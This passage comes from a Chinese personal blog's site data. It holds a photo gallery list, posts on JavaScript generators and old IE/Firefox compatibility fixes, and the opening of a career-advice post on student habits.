"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h2 id=\"Koa1\"><a href=\"#Koa1\" class=\"headerlink\" title=\"Koa1\"></a>Koa1</h2><h3 id=\"什么是-Generator\"><a href=\"#什么是-Generator\" class=\"headerlink\" title=\"什么是 Generator\"></a>什么是 Generator</h3><pre><code>function *test() {\n\n}\n\ntest()    //  -&gt; [Object Generator]\n</code></pre><blockquote>\n<p>generator 函数可以只运行函数的一部分，以及控制何时运行剩余的部分。<br><code>`</code><br>function *learn() {<br>  yield 1<br>  yield 2<br>  return 3<br>}<br>let learnGen = learn()</p>\n</blockquote>\n<p>learnGen.next()  //  -&gt; {“done”: false, “value”: 1}</p>\n<pre><code>&gt; 再次调用会运行到下一个 yield 处\n</code></pre><p>learnGen.next()  //  -&gt; {“done”: false, “value”: 2}<br>learnGen.next()  //  -&gt; {“done”: true, “value”: 3}<br><code>`</code></p>\n<h3 id=\"小结\"><a href=\"#小结\" class=\"headerlink\" title=\"小结\"></a>小结</h3><p>可以通过 <code>yield</code> 和 <code>*</code> 的结合实现类似 <code>await</code> <code>async</code> 的效果的效果</p>\n"},{"title":"常见的兼容性问题","date":"2017-10-22T14:38:44.000Z","_content":"\n#### html 对象获取问题\n* IE: document.idname (老版本)\n解决办法：统一用 getElementById()\n\n#### const 问题\n* IE：只能用 var\n解决办法：统一用 var\n\n#### event.x/y 问题\n* IE：只有 event.x/y 没有pageX/Y\n解决办法：mX = event.x/y ? event.x/y : event.pageX/Y\n\n#### window.location.href 问题\n* IE 和 Firefox1.5 以下：只能用 window.location\n解决办法：只用window.location\n\n#### frame 问题\n* <frame src=\"\" id=\"frameId\" name=\"frameName\"/>\n1、访问对象\nIE：可以通过 id 和 name 访问\nFirefox：只能通过 name\n\n#### Firefox 和 IE 的父元素 parentElement 的区别\nIE：obj.parentElement\nFirefox：obj.parentNode\n解决办法：都用obj.parentNode\n\n#### table 操作问题\n* IE：不允许在 table 和 tr 的 innerHTML 中操作，appendchild 都不行\n解决办法：建议用框架，也可以向 js 中添加一个空行\n\n#### 对象宽高赋值问题\n* Firefox 中 obj.style.height = imgObj.height 语句无效\n\n#### innerText 问题\n* 在 Firefox 中无法使用 \n解决办法：\n```\nif (navigator.appName.indexOf('Explorer') > -1) {\n    document.getElementById('element').innerText = 'my text'\n} else {\n    document.getElementById('element').textContent = 'my text'\n}\n```\n\n#### FF 和 IE 解释相差 2px\nbox {width:100px; border: 1px;}\nIE：box.width = 100\nFF：box.width = 100 + 1*2\n解决方法：{width: 100px!important; width: 98px;}\n\n#### margin 加倍的问题\n设置为 float 的 div 在 ie 下设置的 margin 会加倍\n解决方法：加入 display：inline\n\n#### 页面的最小宽度\nIE 不识别 min\n解决方法：min-width: 600px; width: expression(document.body.clientWidth < 600px ? '600px' : 'auto')\n\n#### div 浮动 IE 文本产生 3px bug\n解决方法：左边浮动，右边margin-right: -3px;\n\n#### li 中内容超过长度以省略号显示\n```\nli {\n    width:200px;\n    white-spave: nowrap;\n    text-overflow: elipsis;\n    overflow: hidden;\n}\n```\nFF 不支持\n\n#### IE 不能换滚动条颜色\n解决方法：将 body 换成 HTML\nhtml {scrollbar-face-color: #fff;....}\n\n#### 如何让层显示在 flash 之上\n解决方法：将flash 设置为透明\n\n#### 超链接访问过后 hover 就不显示的问题\n解决方法：注意顺序 L-V-H-A\n\n#### form 标签初始化\n在 IE 中会有一点边距\n解决方法：ul,form {margin: 0; padding: 0;}\n\n#### js 强制兼容\n可以下载 js 库\n\n#### ","source":"_posts/常见的兼容性问题.md","raw":"---\ntitle: 常见的兼容性问题\ndate: 2017-10-22 22:38:44\ntags: [兼容性, 前端]\ncategories: web前端\n---\n\n#### html 对象获取问题\n* IE: document.idname (老版本)\n解决办法：统一用 getElementById()\n\n#### const 问题\n* IE：只能用 var\n解决办法：统一用 var\n\n#### event.x/y 问题\n* IE：只有 event.x/y 没有pageX/Y\n解决办法：mX = event.x/y ? event.x/y : event.pageX/Y\n\n#### window.location.href 问题\n* IE 和 Firefox1.5 以下：只能用 window.location\n解决办法：只用window.location\n\n#### frame 问题\n* <frame src=\"\" id=\"frameId\" name=\"frameName\"/>\n1、访问对象\nIE：可以通过 id 和 name 访问\nFirefox：只能通过 name\n\n#### Firefox 和 IE 的父元素 parentElement 的区别\nIE：obj.parentElement\nFirefox：obj.parentNode\n解决办法：都用obj.parentNode\n\n#### table 操作问题\n* IE：不允许在 table 和 tr 的 innerHTML 中操作，appendchild 都不行\n解决办法：建议用框架，也可以向 js 中添加一个空行\n\n#### 对象宽高赋值问题\n* Firefox 中 obj.style.height = imgObj.height 语句无效\n\n#### innerText 问题\n* 在 Firefox 中无法使用 \n解决办法：\n```\nif (navigator.appName.indexOf('Explorer') > -1) {\n    document.getElementById('element').innerText = 'my text'\n} else {\n    document.getElementById('element').textContent = 'my text'\n}\n```\n\n#### FF 和 IE 解释相差 2px\nbox {width:100px; border: 1px;}\nIE：box.width = 100\nFF：box.width = 100 + 1*2\n解决方法：{width: 100px!important; width: 98px;}\n\n#### margin 加倍的问题\n设置为 float 的 div 在 ie 下设置的 margin 会加倍\n解决方法：加入 display：inline\n\n#### 页面的最小宽度\nIE 不识别 min\n解决方法：min-width: 600px; width: expression(document.body.clientWidth < 600px ? '600px' : 'auto')\n\n#### div 浮动 IE 文本产生 3px bug\n解决方法：左边浮动，右边margin-right: -3px;\n\n#### li 中内容超过长度以省略号显示\n```\nli {\n    width:200px;\n    white-spave: nowrap;\n    text-overflow: elipsis;\n    overflow: hidden;\n}\n```\nFF 不支持\n\n#### IE 不能换滚动条颜色\n解决方法：将 body 换成 HTML\nhtml {scrollbar-face-color: #fff;....}\n\n#### 如何让层显示在 flash 之上\n解决方法：将flash 设置为透明\n\n#### 超链接访问过后 hover 就不显示的问题\n解决方法：注意顺序 L-V-H-A\n\n#### form 标签初始化\n在 IE 中会有一点边距\n解决方法：ul,form {margin: 0; padding: 0;}\n\n#### js 强制兼容\n可以下载 js 库\n\n#### ","slug":"常见的兼容性问题","published":1,"updated":"2018-01-22T06:39:26.882Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6o003vvzqh4mfu7rjy","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h4 id=\"html-对象获取问题\"><a href=\"#html-对象获取问题\" class=\"headerlink\" title=\"html 对象获取问题\"></a>html 对象获取问题</h4><ul>\n<li>IE: document.idname (老版本)<br>解决办法：统一用 getElementById()</li>\n</ul>\n<h4 id=\"const-问题\"><a href=\"#const-问题\" class=\"headerlink\" title=\"const 问题\"></a>const 问题</h4><ul>\n<li>IE：只能用 var<br>解决办法：统一用 var</li>\n</ul>\n<h4 id=\"event-x-y-问题\"><a href=\"#event-x-y-问题\" class=\"headerlink\" title=\"event.x/y 问题\"></a>event.x/y 问题</h4><ul>\n<li>IE：只有 event.x/y 没有pageX/Y<br>解决办法：mX = event.x/y ? event.x/y : event.pageX/Y</li>\n</ul>\n<h4 id=\"window-location-href-问题\"><a href=\"#window-location-href-问题\" class=\"headerlink\" title=\"window.location.href 问题\"></a>window.location.href 问题</h4><ul>\n<li>IE 和 Firefox1.5 以下：只能用 window.location<br>解决办法：只用window.location</li>\n</ul>\n<h4 id=\"frame-问题\"><a href=\"#frame-问题\" class=\"headerlink\" title=\"frame 问题\"></a>frame 问题</h4><ul>\n<li><frame src=\"\" id=\"frameId\" name=\"frameName\"><br>1、访问对象<br>IE：可以通过 id 和 name 访问<br>Firefox：只能通过 name</li>\n</ul>\n<h4 id=\"Firefox-和-IE-的父元素-parentElement-的区别\"><a href=\"#Firefox-和-IE-的父元素-parentElement-的区别\" class=\"headerlink\" title=\"Firefox 和 IE 的父元素 parentElement 的区别\"></a>Firefox 和 IE 的父元素 parentElement 的区别</h4><p>IE：obj.parentElement<br>Firefox：obj.parentNode<br>解决办法：都用obj.parentNode</p>\n<h4 id=\"table-操作问题\"><a href=\"#table-操作问题\" class=\"headerlink\" title=\"table 操作问题\"></a>table 操作问题</h4><ul>\n<li>IE：不允许在 table 和 tr 的 innerHTML 中操作，appendchild 都不行<br>解决办法：建议用框架，也可以向 js 中添加一个空行</li>\n</ul>\n<h4 id=\"对象宽高赋值问题\"><a href=\"#对象宽高赋值问题\" class=\"headerlink\" title=\"对象宽高赋值问题\"></a>对象宽高赋值问题</h4><ul>\n<li>Firefox 中 obj.style.height = imgObj.height 语句无效</li>\n</ul>\n<h4 id=\"innerText-问题\"><a href=\"#innerText-问题\" class=\"headerlink\" title=\"innerText 问题\"></a>innerText 问题</h4><ul>\n<li>在 Firefox 中无法使用<br>解决办法：<pre><code>if (navigator.appName.indexOf(&#39;Explorer&#39;) &gt; -1) {\n  document.getElementById(&#39;element&#39;).innerText = &#39;my text&#39;\n} else {\n  document.getElementById(&#39;element&#39;).textContent = &#39;my text&#39;\n}\n</code></pre></li>\n</ul>\n<h4 id=\"FF-和-IE-解释相差-2px\"><a href=\"#FF-和-IE-解释相差-2px\" class=\"headerlink\" title=\"FF 和 IE 解释相差 2px\"></a>FF 和 IE 解释相差 2px</h4><p>box {width:100px; border: 1px;}<br>IE：box.width = 100<br>FF：box.width = 100 + 1*2<br>解决方法：{width: 100px!important; width: 98px;}</p>\n<h4 id=\"margin-加倍的问题\"><a href=\"#margin-加倍的问题\" class=\"headerlink\" title=\"margin 加倍的问题\"></a>margin 加倍的问题</h4><p>设置为 float 的 div 在 ie 下设置的 margin 会加倍<br>解决方法：加入 display：inline</p>\n<h4 id=\"页面的最小宽度\"><a href=\"#页面的最小宽度\" class=\"headerlink\" title=\"页面的最小宽度\"></a>页面的最小宽度</h4><p>IE 不识别 min<br>解决方法：min-width: 600px; width: expression(document.body.clientWidth &lt; 600px ? ‘600px’ : ‘auto’)</p>\n<h4 id=\"div-浮动-IE-文本产生-3px-bug\"><a href=\"#div-浮动-IE-文本产生-3px-bug\" class=\"headerlink\" title=\"div 浮动 IE 文本产生 3px bug\"></a>div 浮动 IE 文本产生 3px bug</h4><p>解决方法：左边浮动，右边margin-right: -3px;</p>\n<h4 id=\"li-中内容超过长度以省略号显示\"><a href=\"#li-中内容超过长度以省略号显示\" class=\"headerlink\" title=\"li 中内容超过长度以省略号显示\"></a>li 中内容超过长度以省略号显示</h4><pre><code>li {\n    width:200px;\n    white-spave: nowrap;\n    text-overflow: elipsis;\n    overflow: hidden;\n}\n</code></pre><p>FF 不支持</p>\n<h4 id=\"IE-不能换滚动条颜色\"><a href=\"#IE-不能换滚动条颜色\" class=\"headerlink\" title=\"IE 不能换滚动条颜色\"></a>IE 不能换滚动条颜色</h4><p>解决方法：将 body 换成 HTML<br>html {scrollbar-face-color: #fff;….}</p>\n<h4 id=\"如何让层显示在-flash-之上\"><a href=\"#如何让层显示在-flash-之上\" class=\"headerlink\" title=\"如何让层显示在 flash 之上\"></a>如何让层显示在 flash 之上</h4><p>解决方法：将flash 设置为透明</p>\n<h4 id=\"超链接访问过后-hover-就不显示的问题\"><a href=\"#超链接访问过后-hover-就不显示的问题\" class=\"headerlink\" title=\"超链接访问过后 hover 就不显示的问题\"></a>超链接访问过后 hover 就不显示的问题</h4><p>解决方法：注意顺序 L-V-H-A</p>\n<h4 id=\"form-标签初始化\"><a href=\"#form-标签初始化\" class=\"headerlink\" title=\"form 标签初始化\"></a>form 标签初始化</h4><p>在 IE 中会有一点边距<br>解决方法：ul,form {margin: 0; padding: 0;}</p>\n<h4 id=\"js-强制兼容\"><a href=\"#js-强制兼容\" class=\"headerlink\" title=\"js 强制兼容\"></a>js 强制兼容</h4><p>可以下载 js 库</p>\n<p>#### </p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h4 id=\"html-对象获取问题\"><a href=\"#html-对象获取问题\" class=\"headerlink\" title=\"html 对象获取问题\"></a>html 对象获取问题</h4><ul>\n<li>IE: document.idname (老版本)<br>解决办法：统一用 getElementById()</li>\n</ul>\n<h4 id=\"const-问题\"><a href=\"#const-问题\" class=\"headerlink\" title=\"const 问题\"></a>const 问题</h4><ul>\n<li>IE：只能用 var<br>解决办法：统一用 var</li>\n</ul>\n<h4 id=\"event-x-y-问题\"><a href=\"#event-x-y-问题\" class=\"headerlink\" title=\"event.x/y 问题\"></a>event.x/y 问题</h4><ul>\n<li>IE：只有 event.x/y 没有pageX/Y<br>解决办法：mX = event.x/y ? event.x/y : event.pageX/Y</li>\n</ul>\n<h4 id=\"window-location-href-问题\"><a href=\"#window-location-href-问题\" class=\"headerlink\" title=\"window.location.href 问题\"></a>window.location.href 问题</h4><ul>\n<li>IE 和 Firefox1.5 以下：只能用 window.location<br>解决办法：只用window.location</li>\n</ul>\n<h4 id=\"frame-问题\"><a href=\"#frame-问题\" class=\"headerlink\" title=\"frame 问题\"></a>frame 问题</h4><ul>\n<li><frame src=\"\" id=\"frameId\" name=\"frameName\"><br>1、访问对象<br>IE：可以通过 id 和 name 访问<br>Firefox：只能通过 name</li>\n</ul>\n<h4 id=\"Firefox-和-IE-的父元素-parentElement-的区别\"><a href=\"#Firefox-和-IE-的父元素-parentElement-的区别\" class=\"headerlink\" title=\"Firefox 和 IE 的父元素 parentElement 的区别\"></a>Firefox 和 IE 的父元素 parentElement 的区别</h4><p>IE：obj.parentElement<br>Firefox：obj.parentNode<br>解决办法：都用obj.parentNode</p>\n<h4 id=\"table-操作问题\"><a href=\"#table-操作问题\" class=\"headerlink\" title=\"table 操作问题\"></a>table 操作问题</h4><ul>\n<li>IE：不允许在 table 和 tr 的 innerHTML 中操作，appendchild 都不行<br>解决办法：建议用框架，也可以向 js 中添加一个空行</li>\n</ul>\n<h4 id=\"对象宽高赋值问题\"><a href=\"#对象宽高赋值问题\" class=\"headerlink\" title=\"对象宽高赋值问题\"></a>对象宽高赋值问题</h4><ul>\n<li>Firefox 中 obj.style.height = imgObj.height 语句无效</li>\n</ul>\n<h4 id=\"innerText-问题\"><a href=\"#innerText-问题\" class=\"headerlink\" title=\"innerText 问题\"></a>innerText 问题</h4><ul>\n<li>在 Firefox 中无法使用<br>解决办法：<pre><code>if (navigator.appName.indexOf(&#39;Explorer&#39;) &gt; -1) {\n  document.getElementById(&#39;element&#39;).innerText = &#39;my text&#39;\n} else {\n  document.getElementById(&#39;element&#39;).textContent = &#39;my text&#39;\n}\n</code></pre></li>\n</ul>\n<h4 id=\"FF-和-IE-解释相差-2px\"><a href=\"#FF-和-IE-解释相差-2px\" class=\"headerlink\" title=\"FF 和 IE 解释相差 2px\"></a>FF 和 IE 解释相差 2px</h4><p>box {width:100px; border: 1px;}<br>IE：box.width = 100<br>FF：box.width = 100 + 1*2<br>解决方法：{width: 100px!important; width: 98px;}</p>\n<h4 id=\"margin-加倍的问题\"><a href=\"#margin-加倍的问题\" class=\"headerlink\" title=\"margin 加倍的问题\"></a>margin 加倍的问题</h4><p>设置为 float 的 div 在 ie 下设置的 margin 会加倍<br>解决方法：加入 display：inline</p>\n<h4 id=\"页面的最小宽度\"><a href=\"#页面的最小宽度\" class=\"headerlink\" title=\"页面的最小宽度\"></a>页面的最小宽度</h4><p>IE 不识别 min<br>解决方法：min-width: 600px; width: expression(document.body.clientWidth &lt; 600px ? ‘600px’ : ‘auto’)</p>\n<h4 id=\"div-浮动-IE-文本产生-3px-bug\"><a href=\"#div-浮动-IE-文本产生-3px-bug\" class=\"headerlink\" title=\"div 浮动 IE 文本产生 3px bug\"></a>div 浮动 IE 文本产生 3px bug</h4><p>解决方法：左边浮动，右边margin-right: -3px;</p>\n<h4 id=\"li-中内容超过长度以省略号显示\"><a href=\"#li-中内容超过长度以省略号显示\" class=\"headerlink\" title=\"li 中内容超过长度以省略号显示\"></a>li 中内容超过长度以省略号显示</h4><pre><code>li {\n    width:200px;\n    white-spave: nowrap;\n    text-overflow: elipsis;\n    overflow: hidden;\n}\n</code></pre><p>FF 不支持</p>\n<h4 id=\"IE-不能换滚动条颜色\"><a href=\"#IE-不能换滚动条颜色\" class=\"headerlink\" title=\"IE 不能换滚动条颜色\"></a>IE 不能换滚动条颜色</h4><p>解决方法：将 body 换成 HTML<br>html {scrollbar-face-color: #fff;….}</p>\n<h4 id=\"如何让层显示在-flash-之上\"><a href=\"#如何让层显示在-flash-之上\" class=\"headerlink\" title=\"如何让层显示在 flash 之上\"></a>如何让层显示在 flash 之上</h4><p>解决方法：将flash 设置为透明</p>\n<h4 id=\"超链接访问过后-hover-就不显示的问题\"><a href=\"#超链接访问过后-hover-就不显示的问题\" class=\"headerlink\" title=\"超链接访问过后 hover 就不显示的问题\"></a>超链接访问过后 hover 就不显示的问题</h4><p>解决方法：注意顺序 L-V-H-A</p>\n<h4 id=\"form-标签初始化\"><a href=\"#form-标签初始化\" class=\"headerlink\" title=\"form 标签初始化\"></a>form 标签初始化</h4><p>在 IE 中会有一点边距<br>解决方法：ul,form {margin: 0; padding: 0;}</p>\n<h4 id=\"js-强制兼容\"><a href=\"#js-强制兼容\" class=\"headerlink\" title=\"js 强制兼容\"></a>js 强制兼容</h4><p>可以下载 js 库</p>\n<p>#### </p>\n"},{"title":"学生思维","date":"2018-04-10T01:38:11.000Z","_content":"# 学生思维\n\n## 1. 认为准备好了再做\n\n持续认为自己还没准备好，\b遇到新的挑战（机会），本能的觉得自己没学过，回避，很多时候，是你有了责任，有了目标，才会让自己更强大\b，而不是自己强大了再做某事。\n> 永远让事情推自己走，而不是让自己跟着事情走。\n\n## 2. 被动接受，而不是主动获取\n\n习惯老师留作业。但是工作了，很多时候要自己发挥，等着布置作业那是泯然众人的做法。在职场上有突破的，往往都更主动，他们不会\b羞涩于请教，不会因为\b担心麻烦人而影响工作，他们只是在聚焦如何让工作做得更好，所以积极主动。\n> 不要小看主动的力量。\n\n## 3. 不愿意面对不可预期的逆境\n\n很多人习惯了学生时代的感觉，习惯了有确定性的事物，却不知道，工作中有很多不确定性。你总说在面对各种未知的问题，有问题就要解决问题。有些人面对这样的逆境，不够坚韧，总选择逃避，很难承担\b重任，职场发展就会受限。\n\n## 4. 小孩子脾气\n\n不要把无知当个性，不要把口无遮拦当直爽。其他人没有那么多时间了解你丰富的内心，大家更想\b配合好把事情做完。有个性和脾气不是不可以，但那是建立在自身的本事和成绩上的。\n> 恃才傲物\b还可以接受，没能力还以自我为中心只会被人嫌弃。\n\n## 5. 过于放大自己的价值\n\n自信心不强经常遇到，但还有另一种极端的情况，就是过于放大自己的价值。在一个新组织里，既有自己的努力，又有组织提供的机会。我们常常说要从小事做起，其实就是在积攒人品，让别人逐步信任你。其实我们往往没有想象中那么重要，只是大家积累起来的信任链条。\b\n> 不吭不卑才是合适的作风。\n\n## 6. 懒于改变\n\n很多人习惯了按部就班，习惯了在一条轨道上，有什么想法也只是说说而已，并没有\b勇气去落地执行，只是在等待,这样的人\b则完全没有任何魄力。\n> 只是等待，没有任何结果。\n\n## 7. 给自己画一条线\n\n我是学...的，我是做...的，所以我不能...。往往希望自己\b能从他人那里得到一些肯定。其实如果信心坚定，大部分工作都是有可能性的。总能找到很多成功的和失败的例子。最后发现其实还是在于自己。\n> 没有那么多鸿沟拦着你，是你自己拦着自己。\n\n## 8. 没有意识到要和优秀的人在一起\n\n读书的时候，好学生和一般的学生，多少会有点距离。在社会里，工作上要去拉近这个距离。时常看看优秀的人在做什么，看到好的点，学习到自己这里，这是好事。\n> \b见贤思齐焉。\n\n## 9. 不知道衡量 10 年总收入\n\n刚入职场，很多学生会比 offer、 收入...等等。不是说不应该在意，而是优先级高的应该是自己的成长值能增加多少，能不能通过自己的努力，把自己作为一个产品给做出来。\b衡量自己未来的 10 年收入，不仅仅是经济，还有能力、资历的，不争一城一地的得失，将重点放到\b经营自己这个产品上来。\n> 投资自己，让自己不断增值，才是正事。\n\n## 10. 小红花意识\n\n人都希望被表扬。有的时候就要忍受阶段性的在角落，\b可能很辛苦，作出了成绩没人认同很委屈，稍微作出了点事就想\b收到认同。其实\b，这往往需要时间\b、需要积累和沉淀。很多事你是在为自己做，做多了，大概率会有好结果，即使不是立刻就有。\n> 自己的行为过于依赖周围人的反应，反而会打乱自己的节奏。\n\n## 11. 连他都可以\n\n在学校里，你成绩可能比人家好，在社会上，可能人家混的比你好。社会和学校有他们自己的规则，\b\b不要在比较重蹉跎。\n> 按照自己的节奏，一步一步让自己变得更好。\n\n## 12. 不会保护自己\n\n这个世界存在坏人，因为利益、嫉妒、扭曲的心理...学校可能环境相对简单，但是工作中，情况就要复杂很多。比如你是医生，就要\b做好医闹的准备。在公司工作，该有的流程，\b\b留下邮件的，都得有。\n\n## 13. 伸手党意识\n\n\b在请他人帮忙处理前，自己先尽力找到处理问题的办法。实在不行再开口，又或者是时间周期短，加急的情况。\n\n## 14. 理性投资消费\n\n常常有人说我穷、没钱。\b大多数人是家境可以，但是该消费的地方不消费，例如：学习和自我提升。不该消费的地方大手笔，例如：电脑要最新，手机要最新。更多体现\b的是一种攀比心理。如何领先他人抓住机遇，也体现在如何正确和理性的投资。\n\n## 15. 做为新人不够谦虚\n\n说话的方式和语气要基于自己的资历。出现与自己资历不对称的气场。容易起反作用。但这并不是说要唯唯诺诺，保持谦虚，是一种态度。\n\n## 16. 认识人多就是资源\n\n所谓人脉，其实不是认识的人越多越好，而是要和事情，和自己能力匹配，大家基于共同的事情，兴趣认识，主要是一起讨论和学习，当然还有认识彼此。\n> 要让这个状态成为自然的结果，而不是刻意为之。\n\n## 17. 缺乏职场必要的沟通\n\n通过书面的、语言的沟通，把自己的观点表达的有条理并且富有\b逻辑，讲明白了事情，但是又不会引起反感，如果身边有这样的人，可以向他们学习学习。\n\n## 18. 锚定在周围\b人身上\n\n在一个行业里，应该去和整个行业最优秀的人做比较，经常跳出来，看看最好的人在做什么，不要把自己局限住，把自己的目标设高点，就算达不到，也要往上\b爬。\n\n## \b19. 缺乏自己判断，容易\b被他人影响\n\n跳出他人的观点，敢于对各种观点\b质疑。取其精华\b\b，抛弃糟蹋。\n\n## 20. 没有能力边界的概念\n\n有时候总是说，凡是\b努力就会成功，如果没有成功，就是努力的还不够。\b但是随着成长，就会发现，有些事情就是自己不擅长做的。就像高中成绩，总有好的和不好的课程。有时候我们还是把自己能力边界之内的事情做好结果会更好。\n> 聚焦自己能力之内的，不要意想天开，认为自己无所不能。\n","source":"_posts/学生思维.md","raw":"---\ntitle: 学生思维\ndate: 2018-04-10 09:38:11\ntags: [学生思维]\ncategories: 生活\n---\n# 学生思维\n\n## 1. 认为准备好了再做\n\n持续认为自己还没准备好，\b遇到新的挑战（机会），本能的觉得自己没学过，回避，很多时候，是你有了责任，有了目标，才会让自己更强大\b，而不是自己强大了再做某事。\n> 永远让事情推自己走，而不是让自己跟着事情走。\n\n## 2. 被动接受，而不是主动获取\n\n习惯老师留作业。但是工作了，很多时候要自己发挥，等着布置作业那是泯然众人的做法。在职场上有突破的，往往都更主动，他们不会\b羞涩于请教，不会因为\b担心麻烦人而影响工作，他们只是在聚焦如何让工作做得更好，所以积极主动。\n> 不要小看主动的力量。\n\n## 3. 不愿意面对不可预期的逆境\n\n很多人习惯了学生时代的感觉，习惯了有确定性的事物，却不知道，工作中有很多不确定性。你总说在面对各种未知的问题，有问题就要解决问题。有些人面对这样的逆境，不够坚韧，总选择逃避，很难承担\b重任，职场发展就会受限。\n\n## 4. 小孩子脾气\n\n不要把无知当个性，不要把口无遮拦当直爽。其他人没有那么多时间了解你丰富的内心，大家更想\b配合好把事情做完。有个性和脾气不是不可以，但那是建立在自身的本事和成绩上的。\n> 恃才傲物\b还可以接受，没能力还以自我为中心只会被人嫌弃。\n\n## 5. 